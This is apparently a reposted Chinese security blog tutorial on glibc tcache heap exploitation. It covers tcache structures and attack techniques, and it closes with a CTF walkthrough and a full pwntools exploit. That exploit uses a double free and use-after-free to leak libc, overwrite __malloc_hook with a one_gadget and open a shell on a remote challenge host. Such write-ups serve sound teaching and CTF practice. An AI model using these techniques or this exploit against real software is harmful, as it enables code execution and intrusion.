原创 | 堆的tcache利用

admin 2021年10月19日18:49:27评论155 views字数 5853阅读19分30秒阅读模式
原创 | 堆的tcache利用
点击上方蓝字 关注我吧


01
介绍


tcache(threadlocalcaching)机制从

Ubuntu17.10(glibc.2.26)开始引入并默认开启,它为每个线程创建一个缓存,实现无锁的分配算法,提高了使用效率,但也存在一些安全问题。


02
结构分析


tcache引入了两个新的结构体:tcache_entry和tcache_perthread_struct,以glibc2.26为例看一下源代码:


tcache_entry


原创 | 堆的tcache利用

tcache_entry是一个单链表结构体,它和fast bin类似都是使用一个指针链接free的chunk,tcache使用next指针指向下一个大小相同的chunk,fast bin使用fd指针指向下一个chunk,并且tcache和fast bin都不会清除inuse位,tcache中的链接的chunk结构如下:

原创 | 堆的tcache利用

每个tcache的链最多保存7个大小相同的已free chunk,当7个放满后放入其他bin中:

原创 | 堆的tcache利用

此外tcache的next指针指向chunk的user data即chunk的fd处,它会复用chunk的user data。fast bin的fd指针指向下一个chunk开头地址即prev_size。


tcache_perthread_struct


原创 | 堆的tcache利用

每一个线程都有一个tcache_perthread_struct,使用它管理tcache中的chunk。

TCACHE_MAX_BINS是64,count是一个数组,有64个字节,对应tcache的64条链表,entries是一个指针数组,通过entries的64个指针指向对应的tcache_entry结构体中的next指针,而next指向free的chunk。32位计算机的tcache保存大小从12到512字节大小的chunk,64位计算机的tcache保存24到1024字节大小的chunk。


tcache_put


原创 | 堆的tcache利用

tcache_put在freechunk时使用,把free的chunk插到tcache->entries[tc_idx]的开头,在这个过程中没有做任何安全检查。

tcache_get


原创 | 堆的tcache利用

tcache_get在申请chunk时使用,它从tcache->entries[tc_idx]中获取代码,然后tcache->counts减1,中间没有任何检查代码。

将chunk放入tcache中的情况:

1、freechunk后,_int_free会检查free的chunk的大小是否属于tcache的范围,并且检查tcache的链是否已满,两个条件都满足则free的chunk放入tcache中,chunk的大小不满足或者tcache中的链放满后会根据大小放入其他堆块。

2、malloc时,_int_malloc从fast bin或small bin中取出了一个chunk后会将fast bin和small bin中剩余的相同大小的chunk放入tcache中。如果是从unsorted bin中取chunk或者发生unsorted bin堆块合并,则在找到合适的chunk后会先将chunk放入tcache直到填满,之后才从tcache中取出合适的chunk返回使用。


03
利用原理与思路


上面看了tcache的重要代码和使用情况,可以发现在上面使用tcache的过程中没有任何保护机制,这也是为了提升效率带来的弊端,因为没有任何保护机制,常规漏洞比如堆溢出、double free等都可以不绕过的直接使用。

基于tcache的攻击技术有:

tcache poisoning


tcache poisoning利用tcache没有对next指针进行检查的原理,通过使用堆溢出漏洞、UAF漏洞等漏洞覆盖tcache中的next指针修改free的chunk的fd指针修改指向的地址,进而malloc想要控制的内存。

tcache dup


tcache dup类似fastbin attack,通过tcache没有检查的原因,可以形成循环链表导致double free,这种用法与fastbin attack的不同之处在于因为tcache没有检查,直接free两个chunk不会报错crash,之后利用方法与fastbin attack一样,可以使用UAF漏洞或溢出漏洞修改chunk的内容进而控制想要控制的东西,比如一个指针,在glibc2.26中这种方法特别好用,如果在glibc2.26后面的版本中使用要进行绕过。


tcache perthread corruption


tcache_perthread_struct包含了tcache的相关指针,以此控制tcache的chunk,可以通过修改tcache_perthread_struct结构体绕过mallocsize的限制来控制malloc的分配。

因为要使用tcache需要先使用tcache_init()初始化tcache_perthread_struct,所以它最先分配在heap的最下面,可以根据后面分配的chunk的大小获取该结构的地址,然后再使用比如tcachepoisoning技术控制
tcache_perthread_struct,之后就能控制tcache任意malloc内存。


tcache house of spirit


tcache house of spirit是专门用于tcache的house of spirit,因为tcache_put()函数没有检查被free的chunk是否是一个堆块,所以可以通过在任意地址上(可以控制该地址上的内容即可)构造一个符合tcache的fake_chunk,将其free进tcache再重新malloc控制fake_chunk并利用。

tcache stashing unlink attack


该技术是本文中所有技术里最为复杂的一种技术,它利用calloc函数能够略过tcache从其他bin中申请chunk的特性来利用该技术,要实现该技术需要能够控制small bin chunk的bk指针,能够申请两种不同大小的unsorted bin的chunk。

具体来说就是,因为在申请small bin的chunk时会把同大小的chunk放入tcache中,而在这个过程中tcache只检查了第一个被放进来的chunk,之外的chunk都没有检查,如果能够修改被放入的其它small bin chunk的bk指针,使其指向我们想要申请的内存地址,之后申请时使用calloc函数进行malloc,就能malloc到我们想要控制的内存。


tcache overlapping chunks


因为tcache不检查chunk的size,所以可以利用堆溢出漏洞或UAF漏洞修改一个chunk的size使其包含其它chunk,然后将其free,再malloc申请回来,此时重新申请的chunk就包含了另一个chunk形成了堆重叠。


04
检查保护


glibc2.26后的glibc tcache中添加了各种保护机制:

2020年更新后的glibc2.27在struct tcache _entry中添加了struct tcache_perthread_struct*key;用于检查链表完整性,在free chunk时检查double free。

glibc2.29在tcache_put和tcache_get中增加了对key的检查,chunk放入tcache后在chunk的开头加了key标识,通过检查key来判断chunk是否已经在tcache中存在,以此检查是否存在double free,必要情况下要绕过这种检查可以使用如UAF漏洞修改key标识。

此外在unlink时会检查和unlink的chunk进行合并的chunk的size是否异常,要绕过这种检查使用unlink可以使用堆溢出的漏洞对prev_size和size进行修改。


如果想利用好tcache还要学习如何绕过后面glibc添加的tcache保护机制。


例子


checksec:

原创 | 堆的tcache利用


分析:


原创 | 堆的tcache利用

运行发现只有两个功能add(malloc)和remove(free)。

原创 | 堆的tcache利用

main函数只有清空了缓冲区,之后根据选项运行add函数或remove函数。

原创 | 堆的tcache利用

add函数:

原创 | 堆的tcache利用

最多申请24个chunk,超过程序停止运行,限制malloc最大申请0x78个字节,用qword_2022A0保存chunk指针,虽然程序开了PIE但它给了一个gift打印chunk的内存地址。

remove函数:

原创 | 堆的tcache利用

free chunk后没有置0,有UAF漏洞。


05
思路与利用


这道题给了libc2.27,然后推测可以使用tcache dup思路解题,两步即可获取shell,首先泄露libc,然后通过tcache dup修改got表为one_gadget即可。


具体步骤:

先申请几个chunk,size小于0x400时会先放到tcache中,直到填满7个,而因为在malloc时对chunk的size做了限制,要小于0x78,所以不能申请能放到unsorted bin中的chunk,但因为存在tcache dup漏洞,可以将同一个chunk free两次,再malloc回来,然后使用UAF对size进行修改,因为tcache,所以要将size申请的大于0x400才能放入unsorted bin中,修改size后再次free就会放入unsorted bin中,之后利用程序的add函数会打印内存地址就能泄露main_arena,之后就能获取libc地址:

heap=add(0,0x78,'a')
add(1,0x18,'a')
add(2,0x78,'a')
add(3,0x78,'a')
add(4,0x78,'a')
add(5,0x78,'a')
add(6,0x78,'a')
add(7,0x78,'a')
add(8,0x78,'a')
add(9,0x78,'a')
add(10,0x78,'a')
add(11,0x78,'a')
add(12,0x28,'a')

remove(12)
remove(12)
add(13,0x28,p64(heap-0x10))
add(14,0x28,p64(heap-0x10))
add(15,0x28,p64(0)+p64(0x421))

remove(0)
remove(1)
add(16,0x78,'a')
add(17,0x18,'a')
libc_base=add(18,0x18,'a')-0x3ebca0
malloc_hook=libc_base+libc.sym['__malloc_hook']

one_gadget=libc_base+0x10a38c
后边直接利用UAF和tcache dup即可将malloc_hook修改为one_gadget即可获取shell:

remove(5)
remove(5)
add(19,0x78,p64(malloc_hook))
add(20,0x78,p64(malloc_hook))
add(21,0x78,p64(one_gadget))

p.sendline('1')
p.sendline('22')
p.sendline('0;aaaa')

p.interactive()


exp

#encoding:utf-8
from pwn import *
p=remote('node3.buuoj.cn',25943)
libc=ELF('./libc.so.6')

def add(index,size,content):
p.sendlineafter('choice > ',str(1))
p.sendlineafter('input the indexn',str(index))
p.sendlineafter('input the sizen',str(size))
p.sendlineafter('somethingn',content)
p.recvuntil("gift :")
ptr = int(p.recv(14),16)
return ptr

def remove(index):
p.sendlineafter('choice > ',str(2))
p.sendlineafter('input the indexn',str(index))
**
heap=add(0,0x78,'a')
add(1,0x18,'a')
add(2,0x78,'a')
add(3,0x78,'a')
add(4,0x78,'a')
add(5,0x78,'a')
add(6,0x78,'a')
add(7,0x78,'a')
add(8,0x78,'a')
add(9,0x78,'a')
add(10,0x78,'a')
add(11,0x78,'a')
add(12,0x28,'a')

remove(12)
remove(12)
add(13,0x28,p64(heap-0x10))
add(14,0x28,p64(heap-0x10))
add(15,0x28,p64(0)+p64(0x421))

remove(0)
remove(1)
add(16,0x78,'a')
add(17,0x18,'a')
libc_base=add(18,0x18,'a')-0x3ebca0
malloc_hook=libc_base+libc.sym['__malloc_hook']

one_gadget=libc_base+0x10a38c

remove(5)
remove(5)
add(19,0x78,p64(malloc_hook))
add(20,0x78,p64(malloc_hook))
add(21,0x78,p64(one_gadget))

p.sendline('1')
p.sendline('22')
p.sendline('0;aaaa')

p.interactive()

原创 | 堆的tcache利用

06
参考


https://wiki.x10sec.org/pwn/linux/glibc-heap/tcache_attack-zh/
https://blog.csdn.net/qq_41202237/article/details/113604261

相关推荐




划重点 | 一图读懂2021年IBG技术节
原创 | 堆的off-by-one利用
原创 | vulnhub: Momentum:1
原创 | 堆的unsorted bin attack利用


原创 | 堆的tcache利用
你要的分享、在看与点赞都在这儿~

本文始发于微信公众号(SecIN技术平台):原创 | 堆的tcache利用

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年10月19日18:49:27
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   原创 | 堆的tcache利用https://cn-sec.com/archives/398694.html

发表评论

匿名网友 填写信息